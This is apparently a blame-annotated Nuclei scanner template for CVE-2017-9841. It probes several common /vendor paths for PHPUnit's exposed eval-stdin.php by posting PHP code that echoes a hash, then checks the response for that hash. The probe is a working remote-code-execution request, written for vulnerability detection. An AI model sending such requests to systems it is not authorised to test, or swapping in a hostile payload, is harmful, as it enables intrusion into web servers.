2021-01-02 05:02:50 +00:00
id : CVE-2017-9841
2020-08-07 08:02:28 +00:00
info :
name : CVE-2017-9841
2021-07-04 10:20:15 +00:00
author : Random_Robbie,pikpikcu
2020-08-31 18:34:29 +00:00
severity : high
2020-08-25 21:51:04 +00:00
description : Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
2021-02-05 19:44:41 +00:00
tags : cve,cve2017,php,phpunit,rce
2021-08-18 11:37:49 +00:00
reference :
2021-04-18 13:00:27 +00:00
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
- https://github.com/RandomRobbieBF/phpunit-brute
2021-07-04 10:20:15 +00:00
- https://thephp.cc/articles/phpunit-a-security-risk
- https://twitter.com/sec715/status/1411517028012158976
2020-08-07 08:11:39 +00:00
2020-08-07 08:02:28 +00:00
requests :
2021-07-04 10:20:15 +00:00
- raw :
- |
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection : close
Content-Length : 17
Accept : */*
Accept-Language : en
Content-Type : text/html
Accept-Encoding : gzip, deflate
2021-07-04 10:32:51 +00:00
2021-07-04 10:20:15 +00:00
<?php echo md5(phpunit_rce);?>
- |
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection : close
Content-Length : 17
Accept : */*
Accept-Language : en
Content-Type : text/html
Accept-Encoding : gzip, deflate
2021-07-04 10:32:51 +00:00
2021-07-04 10:20:15 +00:00
<?php echo md5(phpunit_rce);?>
- |
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection : close
Content-Length : 17
Accept : */*
Accept-Language : en
Content-Type : text/html
Accept-Encoding : gzip, deflate
2021-07-04 10:32:51 +00:00
2021-07-04 10:20:15 +00:00
<?php echo md5(phpunit_rce);?>
- |
GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection : close
Content-Length : 17
Accept : */*
Accept-Language : en
Content-Type : text/html
Accept-Encoding : gzip, deflate
2021-07-04 10:32:51 +00:00
2021-07-04 10:20:15 +00:00
<?php echo md5(phpunit_rce);?>
- |
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection : close
Content-Length : 17
Accept : */*
Accept-Language : en
Content-Type : text/html
Accept-Encoding : gzip, deflate
2021-07-04 10:32:51 +00:00
2021-07-04 10:20:15 +00:00
<?php echo md5(phpunit_rce);?>
- |
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection : close
Content-Length : 17
Accept : */*
Accept-Language : en
Content-Type : text/html
Accept-Encoding : gzip, deflate
2021-07-04 10:32:51 +00:00
2021-07-04 10:20:15 +00:00
<?php echo md5(phpunit_rce);?>
2020-08-07 08:02:28 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-07-04 10:20:15 +00:00
- "6dd70f16549456495373a337e6708865"
2020-08-07 08:02:28 +00:00
part : body
- type : status
status :
- 200